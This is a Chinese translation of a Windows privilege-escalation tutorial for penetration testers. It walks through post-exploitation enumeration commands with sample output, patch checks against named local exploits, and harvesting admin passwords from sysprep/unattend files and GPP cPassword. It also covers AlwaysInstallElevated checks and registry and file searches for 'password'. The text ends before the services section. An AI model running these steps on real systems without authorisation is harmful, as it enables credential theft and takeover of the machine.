溫馨提示×
您好，登錄后才能下訂單哦！
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》
您好，登錄后才能下訂單哦！
Windows提權(quán)的基本原理是什么，很多新手對此不是很清楚，為了幫助大家解決這個(gè)難題，下面小編將為大家詳細(xì)講解，有這方面需求的人可以來學(xué)習(xí)下，希望你能有所收獲。
Windows提權(quán)基本原理
沒有多少人談?wù)撛赪indows下提權(quán)，是一件讓人遺憾的事！我想，沒有人這么做的理由有以下幾點(diǎn)：
在滲透測試項(xiàng)目中，客戶需要的驗(yàn)證就是一個(gè)低權(quán)限shell。
在演示環(huán)境，你經(jīng)常就會得到管理員帳戶。
meterpreter使你變得懶惰(getsystem = lazy-fu)。
最后的評估報(bào)告最終變成 - ->nessus安全認(rèn)證掃描，微軟安全基線分析....
盡管通常的感覺是，配置得當(dāng)?shù)膚indows是安全的。但是事實(shí)真的是這樣嗎？因此，讓我們深入了解Windows操作系統(tǒng)的黑暗角落，看看我們是否能得到SYSTEM權(quán)限。
應(yīng)該注意的是，我將使用不同版本的Windows來強(qiáng)調(diào)任何可能存在的命令行差異。請牢記這一點(diǎn)，因?yàn)椴煌牟僮飨到y(tǒng)和版本差異會在命令行中顯現(xiàn)。我試圖構(gòu)造本教程，以便它適用于Windows提權(quán)的最普遍的方式。
最后，我想對我的朋友Kostas大聲說，他真的也很喜歡滲透（post-exploitation），你不會想讓他進(jìn)入到你的計(jì)算機(jī)的。
最開始是一個(gè)低權(quán)限的shell，這個(gè)shell可能是通過遠(yuǎn)程代碼執(zhí)行，釣魚，反彈得到的?；旧献铋_始我們對計(jì)算機(jī)并不了解，比如它是做什么的，有什么連接，我們有什么權(quán)限，甚至是什么操作系統(tǒng)。
在最開始的階段，我們得快速收集一些基本信息來評估我們的環(huán)境。
第一步，讓我們找到我們連接的操作系統(tǒng)。
C:\Windows\system32> systeminfo | findstr /B /C:"OS Name" /C:"OS Version"OS Name: Microsoft Windows 7 Professional OS Version: 6.1.7601 Service Pack 1 Build 7601
接下來，我們看到這臺計(jì)算機(jī)的主機(jī)名和我們連接上是哪個(gè)用戶。
C:\Windows\system32> hostname b33f C:\Windows\system32> echo %username%user1
現(xiàn)在我們有了一些基本信息，然后我們列出了其他用戶帳戶，并在更詳細(xì)的情況下查看我們自己的用戶信息。我們已經(jīng)看到user1不是本地組管理員。
C:\Windows\system32> net usersUser accounts for \\B33F ------------------------------------------------------------------------------- Administrator b33f Guest user1 The command completed successfully. C:\Windows\system32> net user user1User name user1Full Name CommentUser's comment Country code 000 (System Default) Account active Yes Account expires Never Password last set 1/11/2014 7:47:14 PM Password expires Never Password changeable 1/11/2014 7:47:14 PM Password required YesUser may change password Yes Workstations allowed All Logon scriptUser profile Home directory Last logon 1/11/2014 8:05:09 PM Logon hours allowed All Local Group Memberships *Users Global Group memberships *None The command completed successfully.
這就是我們目前需要了解的關(guān)于用戶和權(quán)限的全部內(nèi)容。接下來我們要討論的是網(wǎng)絡(luò)信息，連接的設(shè)備是什么，以及它對這些連接施加了什么規(guī)則。
首先讓我們看一下可用的網(wǎng)絡(luò)接口和路由表。
C:\Windows\system32> ipconfig /all Windows IP Configuration Host Name . . . . . . . . . . . . : b33f Primary Dns Suffix . . . . . . . : Node Type . . . . . . . . . . . . : Hybrid IP Routing Enabled. . . . . . . . : No WINS Proxy Enabled. . . . . . . . : No Ethernet adapter Bluetooth Network Connection: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : Description . . . . . . . . . . . : Bluetooth Device (Personal Area Network) Physical Address. . . . . . . . . : 0C-84-DC-62-60-29 DHCP Enabled. . . . . . . . . . . : Yes Autoconfiguration Enabled . . . . : Yes Ethernet adapter Local Area Connection: Connection-specific DNS Suffix . : Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection Physical Address. . . . . . . . . : 00-0C-29-56-79-35 DHCP Enabled. . . . . . . . . . . : Yes Autoconfiguration Enabled . . . . : Yes Link-local IPv6 Address . . . . . : fe80::5cd4:9caf:61c0:ba6e%11(Preferred) IPv4 Address. . . . . . . . . . . : 192.168.0.104(Preferred) Subnet Mask . . . . . . . . . . . : 255.255.255.0 Lease Obtained. . . . . . . . . . : Saturday, January 11, 2014 3:53:55 PM Lease Expires . . . . . . . . . . : Sunday, January 12, 2014 3:53:55 PM Default Gateway . . . . . . . . . : 192.168.0.1 DHCP Server . . . . . . . . . . . : 192.168.0.1 DHCPv6 IAID . . . . . . . . . . . : 234884137 DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-18-14-24-1D-00-0C-29-56-79-35 DNS Servers . . . . . . . . . . . : 192.168.0.1 NetBIOS over Tcpip. . . . . . . . : Enabled
C:\Windows\system32> route print =========================================================================== Interface List 18...0c 84 dc 62 60 29 ......Bluetooth Device (Personal Area Network) 13...00 ff 0c 0d 4f ed ......TAP-Windows Adapter V9 11...00 0c 29 56 79 35 ......Intel(R) PRO/1000 MT Network Connection 1...........................Software Loopback Interface 1 16...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter 15...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #2 19...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #3 14...00 00 00 00 00 00 00 e0 Teredo Tunneling Pseudo-Interface ===========================================================================IPv4 Route Table ===========================================================================Active Routes: Network Destination Netmask Gateway Interface Metric 0.0.0.0 0.0.0.0 192.168.0.1 192.168.0.104 10 127.0.0.0 255.0.0.0 On-link 127.0.0.1 306 127.0.0.1 255.255.255.255 On-link 127.0.0.1 306 127.255.255.255 255.255.255.255 On-link 127.0.0.1 306 192.168.0.0 255.255.255.0 On-link 192.168.0.104 266 192.168.0.104 255.255.255.255 On-link 192.168.0.104 266 192.168.0.255 255.255.255.255 On-link 192.168.0.104 266 224.0.0.0 240.0.0.0 On-link 127.0.0.1 306 224.0.0.0 240.0.0.0 On-link 192.168.0.104 266 255.255.255.255 255.255.255.255 On-link 127.0.0.1 306 255.255.255.255 255.255.255.255 On-link 192.168.0.104 266 ===========================================================================Persistent Routes: NoneIPv6 Route Table ===========================================================================Active Routes: If Metric Network Destination Gateway 14 58 ::/0 On-link 1 306 ::1/128 On-link 14 58 2001::/32 On-link 14 306 2001:0:5ef5:79fb:8d2:b4e:3f57:ff97/128 On-link 11 266 fe80::/64 On-link 14 306 fe80::/64 On-link 14 306 fe80::8d2:b4e:3f57:ff97/128 On-link 11 266 fe80::5cd4:9caf:61c0:ba6e/128 On-link 1 306 ff00::/8 On-link 14 306 ff00::/8 On-link 11 266 ff00::/8 On-link ===========================================================================Persistent Routes: None
arp -A顯示了所有可用接口的arp(地址解析協(xié)議)緩存表。
C:\Windows\system32> arp -AInterface: 192.168.0.104 --- 0xb Internet Address Physical Address Type 192.168.0.1 90-94-e4-c5-b0-46 dynamic 192.168.0.101 ac-22-0b-af-bb-43 dynamic 192.168.0.255 ff-ff-ff-ff-ff-ff static 224.0.0.22 01-00-5e-00-00-16 static 224.0.0.251 01-00-5e-00-00-fb static 224.0.0.252 01-00-5e-00-00-fc static 239.255.255.250 01-00-5e-7f-ff-fa static 255.255.255.255 ff-ff-ff-ff-ff-ff static
這就使我們了解了活動(dòng)網(wǎng)絡(luò)連接和防火墻規(guī)則。
C:\Windows\system32> netstat -ano Active Connections Proto Local Address Foreign Address State PID TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 684 TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4 TCP 0.0.0.0:5357 0.0.0.0:0 LISTENING 4 TCP 127.0.0.1:5354 0.0.0.0:0 LISTENING 1400 TCP 192.168.0.104:139 0.0.0.0:0 LISTENING 4 TCP [::]:135 [::]:0 LISTENING 684 TCP [::]:445 [::]:0 LISTENING 4 TCP [::]:5357 [::]:0 LISTENING 4 UDP 0.0.0.0:5355 *:* 1100 UDP 0.0.0.0:52282 *:* 976 UDP 0.0.0.0:55202 *:* 2956 UDP 0.0.0.0:59797 *:* 1400 UDP 127.0.0.1:1900 *:* 2956 UDP 127.0.0.1:65435 *:* 2956 UDP 192.168.0.104:137 *:* 4 UDP 192.168.0.104:138 *:* 4 UDP 192.168.0.104:1900 *:* 2956 UDP 192.168.0.104:5353 *:* 1400 UDP 192.168.0.104:65434 *:* 2956 UDP [::]:5355 *:* 1100 UDP [::]:52281 *:* 976 UDP [::]:52283 *:* 976 UDP [::]:55203 *:* 2956 UDP [::]:59798 *:* 1400 UDP [::1]:1900 *:* 2956 UDP [::1]:5353 *:* 1400 UDP [::1]:65433 *:* 2956 UDP [fe80::5cd4:9caf:61c0:ba6e%11]:1900 *:* 2956 UDP [fe80::5cd4:9caf:61c0:ba6e%11]:65432 *:* 2956
以下兩個(gè)netsh命令是在不同操作系統(tǒng)的命令示例。netsh firewall命令只能從XP SP2和以上版本運(yùn)行。
C:\Windows\system32> netsh firewall show stateFirewall status: -------------------------------------------------------------------Profile = Standard Operational mode = Enable Exception mode = Enable Multicast/broadcast response mode = Enable Notification mode = Enable Group policy version = Windows Firewall Remote admin mode = Disable Ports currently open on all network interfaces:Port Protocol Version Program -------------------------------------------------------------------No ports are currently open on all network interfaces.
C:\Windows\system32> netsh firewall show configDomain profile configuration: -------------------------------------------------------------------Operational mode = Enable Exception mode = Enable Multicast/broadcast response mode = Enable Notification mode = Enable Allowed programs configuration for Domain profile:Mode Traffic direction Name / Program -------------------------------------------------------------------Port configuration for Domain profile:Port Protocol Mode Traffic direction Name -------------------------------------------------------------------ICMP configuration for Domain profile:Mode Type Description -------------------------------------------------------------------Enable 2 Allow outbound packet too bigStandard profile configuration (current): -------------------------------------------------------------------Operational mode = Enable Exception mode = Enable Multicast/broadcast response mode = Enable Notification mode = Enable Service configuration for Standard profile:Mode Customized Name -------------------------------------------------------------------Enable No Network Discovery Allowed programs configuration for Standard profile:Mode Traffic direction Name / Program -------------------------------------------------------------------Enable Inbound COMRaider / E:\comraider\comraider.exe Enable Inbound nc.exe / C:\users\b33f\desktop\nc.exe Port configuration for Standard profile:Port Protocol Mode Traffic direction Name -------------------------------------------------------------------ICMP configuration for Standard profile:Mode Type Description -------------------------------------------------------------------Enable 2 Allow outbound packet too bigLog configuration: -------------------------------------------------------------------File location = C:\Windows\system32\LogFiles\Firewall\pfirewall.log Max file size = 4096 KB Dropped packets = Disable Connections = Disable
最后，我們將簡要地看一下在這個(gè)設(shè)備上運(yùn)行的有什么，比如計(jì)劃任務(wù)、運(yùn)行進(jìn)程、啟動(dòng)服務(wù)和安裝的驅(qū)動(dòng)程序。
這將顯示所有調(diào)度任務(wù)的詳細(xì)輸出，下面您可以看到單個(gè)任務(wù)的示例輸出。
C:\Windows\system32> schtasks /query /fo LIST /v Folder: \Microsoft\Windows Defender HostName: B33F TaskName: \Microsoft\Windows Defender\MP Scheduled ScanNext Run Time: 1/22/2014 5:11:13 AM Status: Ready Logon Mode: Interactive/BackgroundLast Run Time: N/ALast Result: 1Author: N/A Task To Run: c:\program files\windows defender\MpCmdRun.exe Scan -ScheduleJob -WinTask -RestrictPrivilegesScan Start In: N/A Comment: Scheduled ScanScheduled Task State: EnabledIdle Time: Only Start If Idle for 1 minutes, If Not Idle Retry For 240 minutesPower Management: No Start On BatteriesRun As User: SYSTEMDelete Task If Not Rescheduled: EnabledStop Task If Runs X Hours and X Mins: 72:00:00Schedule: Scheduling data is not available in this format. Schedule Type: Daily Start Time: 5:11:13 AM Start Date: 1/1/2000End Date: 1/1/2100Days: Every 1 day(s) Months: N/A Repeat: Every: Disabled Repeat: Until: Time: Disabled Repeat: Until: Duration: Disabled Repeat: Stop If Still Running: Disabled [..Snip..] # tasklist命令顯示了正在運(yùn)行的進(jìn)程以及啟動(dòng)服務(wù)。
C:\Windows\system32> tasklist /SVCImage Name PID Services ========================= ======== ============================================ System Idle Process 0 N/A System 4 N/A smss.exe 244 N/A csrss.exe 332 N/A csrss.exe 372 N/A wininit.exe 380 N/A winlogon.exe 428 N/A services.exe 476 N/A lsass.exe 484 SamSs lsm.exe 496 N/A svchost.exe 588 DcomLaunch, PlugPlay, Powersvchost.exe 668 RpcEptMapper, RpcSs svchost.exe 760 Audiosrv, Dhcp, eventlog, HomeGroupProvider, lmhosts, wscsvc svchost.exe 800 AudioEndpointBuilder, CscService, Netman, SysMain, TrkWks, UxSms, WdiSystemHost, wudfsvc svchost.exe 836 AeLookupSvc, BITS, gpsvc, iphlpsvc, LanmanServer, MMCSS, ProfSvc, Schedule, seclogon, SENS, ShellHWDetection, Themes, Winmgmt, wuauserv audiodg.exe 916 N/A svchost.exe 992 EventSystem, fdPHost, netprofm, nsi, WdiServiceHost, WinHttpAutoProxySvc svchost.exe 1104 CryptSvc, Dnscache, LanmanWorkstation, NlaSvc spoolsv.exe 1244 Spooler svchost.exe 1272 BFE, DPS, MpsSvc mDNSResponder.exe 1400 Bonjour Service taskhost.exe 1504 N/A taskeng.exe 1556 N/A vmtoolsd.exe 1580 VMTools dwm.exe 1660 N/A explorer.exe 1668 N/A vmware-usbarbitrator.exe 1768 VMUSBArbService TPAutoConnSvc.exe 1712 TPAutoConnSvc [..Snip..]C:\Windows\system32> net start These Windows services are started: Application Experience Application Information Background Intelligent Transfer Service Base Filtering Engine Bluetooth Support Service Bonjour Service COM+ Event System COM+ System Application Cryptographic Services DCOM Server Process Launcher Desktop Window Manager Session Manager DHCP Client Diagnostic Policy Service Diagnostic Service Host Diagnostic System Host Distributed Link Tracking Client Distributed Transaction Coordinator DNS Client Function Discovery Provider Host Function Discovery Resource Publication Group Policy Client [..Snip..] # DRIVERQUERY有時(shí)是有用的，因?yàn)橐恍┑谌津?qū)動(dòng)，即使是信譽(yù)良好的公司，也比瑞士奶酪上的洞多。這是可能的，因?yàn)閞ing0的利用是在大多數(shù)人的專長技能之外。
C:\Windows\system32> DRIVERQUERY Module Name Display Name Driver Type Link Date ============ ====================== ============= ====================== 1394ohci 1394 OHCI Compliant Ho Kernel 11/20/2010 6:01:11 PM ACPI Microsoft ACPI Driver Kernel 11/20/2010 4:37:52 PM AcpiPmi ACPI Power Meter Drive Kernel 11/20/2010 4:47:55 PM adp94xx adp94xx Kernel 12/6/2008 7:59:55 AM adpahci adpahci Kernel 5/2/2007 1:29:26 AM adpu320 adpu320 Kernel 2/28/2007 8:03:08 AM AFD Ancillary Function Dri Kernel 11/20/2010 4:40:00 PM agp440 Intel AGP Bus Filter Kernel 7/14/2009 7:25:36 AM aic78xx aic78xx Kernel 4/12/2006 8:20:11 AM aliide aliide Kernel 7/14/2009 7:11:17 AM amdagp AMD AGP Bus Filter Dri Kernel 7/14/2009 7:25:36 AM amdide amdide Kernel 7/14/2009 7:11:19 AM AmdK8 AMD K8 Processor Drive Kernel 7/14/2009 7:11:03 AM AmdPPM AMD Processor Driver Kernel 7/14/2009 7:11:03 AM amdsata amdsata Kernel 3/19/2010 9:08:27 AM amdsbs amdsbs Kernel 3/21/2009 2:35:26 AM amdxata amdxata Kernel 3/20/2010 12:19:01 AM AppID AppID Driver Kernel 11/20/2010 5:29:48 PM arc arc Kernel 5/25/2007 5:31:06 AM [..Snip..]
我想提下WMIC (Windows Management Instrumentation Command-Line，Windows管理工具命令行)，因?yàn)樗荳indows最有用的命令行工具。WMIC對于信息收集和滲透都是非常實(shí)用的而且輸出內(nèi)容有很多值得期待的地方。全面解釋W(xué)MIC的使用將需要一個(gè)教程。補(bǔ)充一點(diǎn)，由于格式化的問題，WMIC有些輸出將很難顯示。
我將會在下面列出兩個(gè)文章，這兩個(gè)文章對于WMIC是非常值得閱讀的。
Command-Line Ninjitsu (SynJunkie)
Windows WMIC Command Line (ComputerHope)
糟糕的是，一些默認(rèn)配置的windows并不允許訪問WMIC，除非是用戶在windows的管理組，從我的虛擬機(jī)測試來看，任何版本的windows xp的低權(quán)限用戶并不能訪問WMIC。相反的，默認(rèn)配置的windows 7 專業(yè)版和windows 8 企業(yè)版允許低權(quán)限的用戶訪問WMIC并查詢操作系統(tǒng)版本。這正是我們所需要的，因?yàn)槲覀冋谑褂肳MIC來收集關(guān)于目標(biāo)機(jī)的信息。
關(guān)于WMIC的選項(xiàng)，我已經(jīng)列出了下面可用的命令行。
C:\Windows\system32> wmic /? [global switches] The following global switches are available: /NAMESPACE Path for the namespace the alias operate against. /ROLE Path for the role containing the alias definitions. /NODE Servers the alias will operate against. /IMPLEVEL Client impersonation level. /AUTHLEVEL Client authentication level. /LOCALE Language id the client should use. /PRIVILEGES Enable or disable all privileges. /TRACE Outputs debugging information to stderr. /RECORD Logs all input commands and output. /INTERACTIVE Sets or resets the interactive mode. /FAILFAST Sets or resets the FailFast mode. /USER User to be used during the session. /PASSWORD Password to be used for session login. /OUTPUT Specifies the mode for output redirection. /APPEND Specifies the mode for output redirection. /AGGREGATE Sets or resets aggregate mode. /AUTHORITY Specifies the for the connection. /?[:<BRIEF|FULL>] Usage information.For more information on a specific global switch, type: switch-name /?The following alias/es are available in the current role:ALIAS - Access to the aliases available on the local systemBASEBOARD - Base board (also known as a motherboard or system board) management.BIOS - Basic input/output services (BIOS) management.BOOTCONFIG - Boot configuration management.CDROM - CD-ROM management.COMPUTERSYSTEM - Computer system management.CPU - CPU management.CSPRODUCT - Computer system product information from SMBIOS.DATAFILE - DataFile Management.DCOMAPP - DCOM Application management.DESKTOP - User's Desktop management.DESKTOPMONITOR - Desktop Monitor management.DEVICEMEMORYADDRESS - Device memory addresses management.DISKDRIVE - Physical disk drive management.DISKQUOTA - Disk space usage for NTFS volumes.DMACHANNEL - Direct memory access (DMA) channel management.ENVIRONMENT - System environment settings management.FSDIR - Filesystem directory entry management.GROUP - Group account management.IDECONTROLLER - IDE Controller management.IRQ - Interrupt request line (IRQ) management.JOB - Provides access to the jobs scheduled using the schedule service.LOADORDER - Management of system services that define execution dependencies.LOGICALDISK - Local storage device management.LOGON - LOGON Sessions.MEMCACHE - Cache memory management.MEMORYCHIP - Memory chip information.MEMPHYSICAL - Computer system's physical memory management.NETCLIENT - Network Client management.NETLOGIN - Network login information (of a particular user) management.NETPROTOCOL - Protocols (and their network characteristics) management.NETUSE - Active network connection management.NIC - Network Interface Controller (NIC) management.NICCONFIG - Network adapter management.NTDOMAIN - NT Domain management.NTEVENT - Entries in the NT Event Log.NTEVENTLOG - NT eventlog file management.ONBOARDDEVICE - Management of common adapter devices built into the motherboard (system board).OS - Installed Operating System/s management.PAGEFILE - Virtual memory file swapping management.PAGEFILESET - Page file settings management.PARTITION - Management of partitioned areas of a physical disk.PORT - I/O port management.PORTCONNECTOR - Physical connection ports management.PRINTER - Printer device management.PRINTERCONFIG - Printer device configuration management.PRINTJOB - Print job management.PROCESS - Process management.PRODUCT - Installation package task management.QFE - Quick Fix Engineering.QUOTASETTING - Setting information for disk quotas on a volume.RDACCOUNT - Remote Desktop connection permission management.RDNIC - Remote Desktop connection management on a specific network adapter.RDPERMISSIONS - Permissions to a specific Remote Desktop connection.RDTOGGLE - Turning Remote Desktop listener on or off remotely.RECOVEROS - Information that will be gathered from memory when the operating system fails.REGISTRY - Computer system registry management.SCSICONTROLLER - SCSI Controller management.SERVER - Server information management.SERVICE - Service application management.SHADOWCOPY - Shadow copy management.SHADOWSTORAGE - Shadow copy storage area management.SHARE - Shared resource management.SOFTWAREELEMENT - Management of the elements of a software product installed on a system.SOFTWAREFEATURE - Management of software product subsets of SoftwareElement.SOUNDDEV - Sound Device management.STARTUP - Management of commands that run automatically when users log onto the computer system.SYSACCOUNT - System account management.SYSDRIVER - Management of the system driver for a base service.SYSTEMENCLOSURE - Physical system enclosure management.SYSTEMSLOT - Management of physical connection points including ports, slots and peripherals, and proprietary connections points.TAPEDRIVE - Tape drive management.TEMPERATURE - Data management of a temperature sensor (electronic thermometer).TIMEZONE - Time zone data management.UPS - Uninterruptible power supply (UPS) management.USERACCOUNT - User account management.VOLTAGE - Voltage sensor (electronic voltmeter) data management.VOLUME - Local storage volume management.VOLUMEQUOTASETTING - Associates the disk quota setting with a specific disk volume.VOLUMEUSERQUOTA - Per user storage volume quota management.WMISET - WMI service operational parameters management.For more information on a specific alias, type: alias /?CLASS - Escapes to full WMI schema.PATH - Escapes to full WMI object paths.CONTEXT - Displays the state of all the global switches.QUIT/EXIT - Exits the program.For more information on CLASS/PATH/CONTEXT, type: (CLASS | PATH | CONTEXT) /?
為了簡化操作，我已經(jīng)創(chuàng)建了一個(gè)腳本，可以在目標(biāo)機(jī)器上使用WMIC提取以下信息:流程、服務(wù)、用戶帳號、用戶組、網(wǎng)絡(luò)接口、硬盤信息、網(wǎng)絡(luò)共享信息、安裝Windows補(bǔ)丁、程序在啟動(dòng)運(yùn)行、安裝的軟件列表、操作系統(tǒng)、時(shí)區(qū)信息。
我已經(jīng)通過各種標(biāo)志和參數(shù)來提取有價(jià)值的信息，如果有人想要添加到列表中，請?jiān)谙旅媪粝略u論。使用內(nèi)置的輸出特性，腳本將把所有結(jié)果寫入一個(gè)人類可讀的html文件。
腳本地址：http://www.fuzzysecurity.com/tutorials/files/wmic_info.rar
輸出頁面：http://www.fuzzysecurity.com/tutorials/files/Win7.html
在繼續(xù)滲透之前，你需要先回顧一下已經(jīng)搜集到的信息，信息量應(yīng)該已經(jīng)不小了。我們計(jì)劃的下一步就是要尋找一些能被輕易利用的系統(tǒng)缺陷來提升權(quán)限。
顯而易見，第一步就是去查看補(bǔ)丁修正情況。如果發(fā)現(xiàn)主機(jī)已經(jīng)被打了某些補(bǔ)丁，也不用很擔(dān)心。我的 WMIC 腳本可以列出所有已安裝的補(bǔ)丁，你可以通過下面這條命令來查看：
C:\Windows\system32> wmic qfe get Caption,Description,HotFixID,InstalledOn Caption Description HotFixID InstalledOn http://support.microsoft.com/?kbid=2727528 Security Update KB2727528 11/23/2013http://support.microsoft.com/?kbid=2729462 Security Update KB2729462 11/26/2013http://support.microsoft.com/?kbid=2736693 Security Update KB2736693 11/26/2013http://support.microsoft.com/?kbid=2737084 Security Update KB2737084 11/23/2013http://support.microsoft.com/?kbid=2742614 Security Update KB2742614 11/23/2013http://support.microsoft.com/?kbid=2742616 Security Update KB2742616 11/26/2013http://support.microsoft.com/?kbid=2750149 Update KB2750149 11/23/2013http://support.microsoft.com/?kbid=2756872 Update KB2756872 11/24/2013http://support.microsoft.com/?kbid=2756923 Security Update KB2756923 11/26/2013http://support.microsoft.com/?kbid=2757638 Security Update KB2757638 11/23/2013http://support.microsoft.com/?kbid=2758246 Update KB2758246 11/24/2013http://support.microsoft.com/?kbid=2761094 Update KB2761094 11/24/2013http://support.microsoft.com/?kbid=2764870 Update KB2764870 11/24/2013http://support.microsoft.com/?kbid=2768703 Update KB2768703 11/23/2013http://support.microsoft.com/?kbid=2769034 Update KB2769034 11/23/2013http://support.microsoft.com/?kbid=2769165 Update KB2769165 11/23/2013http://support.microsoft.com/?kbid=2769166 Update KB2769166 11/26/2013http://support.microsoft.com/?kbid=2770660 Security Update KB2770660 11/23/2013http://support.microsoft.com/?kbid=2770917 Update KB2770917 11/24/2013http://support.microsoft.com/?kbid=2771821 Update KB2771821 11/24/2013[..Snip..]
但這些輸出并不代表一定可以被利用，最好的策略先是去尋找可以提升權(quán)限的 EXP 以及它們的補(bǔ)丁編號。這些 EXP 包括但不限于：KiTrap0D (KB979682), MS11-011 (KB2393802), MS10-059 (KB982799), MS10-021 (KB979683), MS11-080 (KB2592799)。在列舉了系統(tǒng)版本和補(bǔ)丁包后，你應(yīng)該發(fā)現(xiàn)哪些權(quán)限提升漏洞可以被復(fù)現(xiàn)，使用補(bǔ)丁包編號你可以過濾掉那些已經(jīng)被安裝的補(bǔ)丁，檢查一下是否有被漏打的補(bǔ)丁。
以下是對補(bǔ)丁包進(jìn)行過濾的語法
C:\Windows\system32> wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB.." /C:"KB.."
接下來我們將會有很多新發(fā)現(xiàn)。一般情況下，如果需要給很多機(jī)器配置同一個(gè)環(huán)境，一個(gè)技術(shù)人員一定不會逐個(gè)安裝配置這些機(jī)器，而是會選擇一些自動(dòng)化安裝的解決方案。這些方案是什么以及它們是如何工作的與我們當(dāng)下所做的事不是很相關(guān)，重要的是他們留下的用于安裝流程的配置文件，這些配置文件包含大量的敏感信息，例如操作系統(tǒng)的產(chǎn)品密鑰和管理員密碼。而我們最最感興趣的就是管理員密碼，因?yàn)槲覀兛梢越璐藖硖嵘覀兊臋?quán)限。
以下是一些經(jīng)常被用于存放配置文件的位置（當(dāng)然檢查整個(gè)系統(tǒng)也是可以的）
c:\sysprep.inf c:\sysprep\sysprep.xml%WINDIR%\Panther\Unattend\Unattended.xml%WINDIR%\Panther\Unattended.xml
這些目錄中的文件可能包含著明文密碼，或是Base64加密后的密碼。下面是一些文件中的樣例：
# This is a sample from sysprep.inf with clear-text credentials. [GuiUnattended] OEMSkipRegional=1 OemSkipWelcome=1 AdminPassword=s3cr3tp4ssw0rd TimeZone=20 # This is a sample from sysprep.xml with Base64 "encoded" credentials. Please people Base64 is not encryption, I take more precautions to protect my coffee. The password here is "SuperSecurePassword".<LocalAccounts> <LocalAccount wcm:action="add"> <Password> <Value>U3VwZXJTZWN1cmVQYXNzd29yZA==</Value> <PlainText>false</PlainText> </Password> <Description>Local Administrator</Description> <DisplayName>Administrator</DisplayName> <Group>Administrators</Group> <Name>Administrator</Name> </LocalAccount></LocalAccounts># Sample from Unattended.xml with the same "secure" Base64 encoding.<AutoLogon> <Password> <Value>U3VwZXJTZWN1cmVQYXNzd29yZA==</Value> <PlainText>false</PlainText> </Password> <Enabled>true</Enabled> <Username>Administrator</Username></AutoLogon>
在 Ben Campbell (@Meatballs__) 的推薦下，我將獲取組策略首選項(xiàng) ( Group Policy Preferences ) 保存的密碼也作為快速攻陷目標(biāo)機(jī)器的方式之一。組策略首選項(xiàng)文件可以被用于去創(chuàng)建域內(nèi)主機(jī)的本地用戶。如果你控制的機(jī)器被連接到一個(gè)域內(nèi)，那么去查找一下存儲在 SYSVOL 中的 Groups.xml 文件也是很有意義的，而且所有被授權(quán)的用戶都有該文件的讀權(quán)限。在這個(gè) xml 文件中的密碼只是被臨時(shí)用戶“模糊”地用 AES 加密了，說“模糊”是因?yàn)殪o態(tài)密鑰已經(jīng)被公開的公布于 msdn 網(wǎng)站上，所以可以輕松地破解這些密碼。
除了 Groups.xml 還有幾個(gè)其他的策略首選項(xiàng)文件也同樣含有可選的 “cPassword” 屬性：
Services\Services.xml: Element-Specific AttributesScheduledTasks\ScheduledTasks.xml: Task Inner Element, TaskV2 Inner Element, ImmediateTaskV2 Inner ElementPrinters\Printers.xml: SharedPrinter ElementDrives\Drives.xml: Element-Specific AttributesDataSources\DataSources.xml: Element-Specific Attributes
這個(gè)漏洞可以通過手動(dòng)瀏覽 SYSVOL 文件夾和抓取相關(guān)文件來利用，證明如下
【不支持外鏈圖片，請上傳圖片或單獨(dú)粘貼圖片】
然而，我們都希望有一個(gè)自動(dòng)化的解決方案，這樣我們就可以盡可能快的完成這項(xiàng)工作。這里主要有兩種方式，取決于我們的 shell 類型以及權(quán)限大小，
(1) 一個(gè)是通過已建立的會話執(zhí)行 metasploit 模塊
(2) 你可以使用 PowerSploit 的 Get-GPPPassword 功能。PowerSploit 是一個(gè)強(qiáng)大的 powershell 框架，作者是 Matt Graeber（擅長逆向工程、計(jì)算機(jī)取證以及滲透測試）。
接下來我們要查找一個(gè)奇怪的注冊表設(shè)置項(xiàng) “AlwaysInstallElevated”，如果該設(shè)置項(xiàng)被啟用，它會允許任何權(quán)限的用戶以 NT AUTHORITY\SYSTEM 權(quán)限來安裝 *.msi 文件?？梢詣?chuàng)建低權(quán)限的用戶（它們的操作系統(tǒng)使用受到限制）但是卻給它們 SYSTEM 權(quán)限去安裝軟件，這在我看來是有些奇怪。想要閱讀更多的這方面的背景知識，可以查看這里 ，這是在 GreyHatHacker 博客上 Parvez 的一篇文章，他最早報(bào)告了這個(gè)安全問題。
為了能利用這個(gè)漏洞，我們需要去檢查兩個(gè)注冊表鍵值是否被設(shè)置，這是我們是否能彈出 SYSTEM 權(quán)限 shell 的關(guān)鍵。以下是查詢對應(yīng)注冊表鍵值的語法
# 只有當(dāng)注冊表項(xiàng)中存在鍵值 "AlwaysInstallElevated" 且其 DWORD 值為1時(shí)才會有效 C:\Windows\system32> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevatedC:\Windows\system32> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
為了完成這個(gè)章節(jié)，我們還將在操作系統(tǒng)上做一些快速搜索，希望我們可以成功。
執(zhí)行以下語句完成搜索
# The command below will search the file system for file names containing certain keywords. You canspecify as many keywords as you wish.# 這條語句可以搜索指定含有任意多關(guān)鍵字的文件名C:\Windows\system32> dir /s *pass* == *cred* == *vnc* == *.config*# Search certain file types for a keyword, this can generate a lot of output.# 用關(guān)鍵詞搜索精確的文件類型，這個(gè)操作可能造成大量的輸出C:\Windows\system32> findstr /si password *.xml *.ini *.txt# Similarly the two commands below can be used to grep the registry for keywords, in this case "password".# 以下兩個(gè)命令被用于查找?guī)в嘘P(guān)鍵詞的注冊表項(xiàng)，樣例中查詢的關(guān)鍵詞是 "password"C:\Windows\system32> reg query HKLM /f password /t REG_SZ /sC:\Windows\system32> reg query HKCU /f password /t REG_SZ /s
希望到現(xiàn)在為止，我們已經(jīng)有了一個(gè) SYSTEM shell，但如果我們還沒有，接下來還有一些攻擊方法可以嘗試。在最后章節(jié)我們將會關(guān)注于 Windows 服務(wù)和文件/目錄權(quán)限部分。我們的目標(biāo)是去使用低權(quán)限去提升當(dāng)前會話權(quán)限。
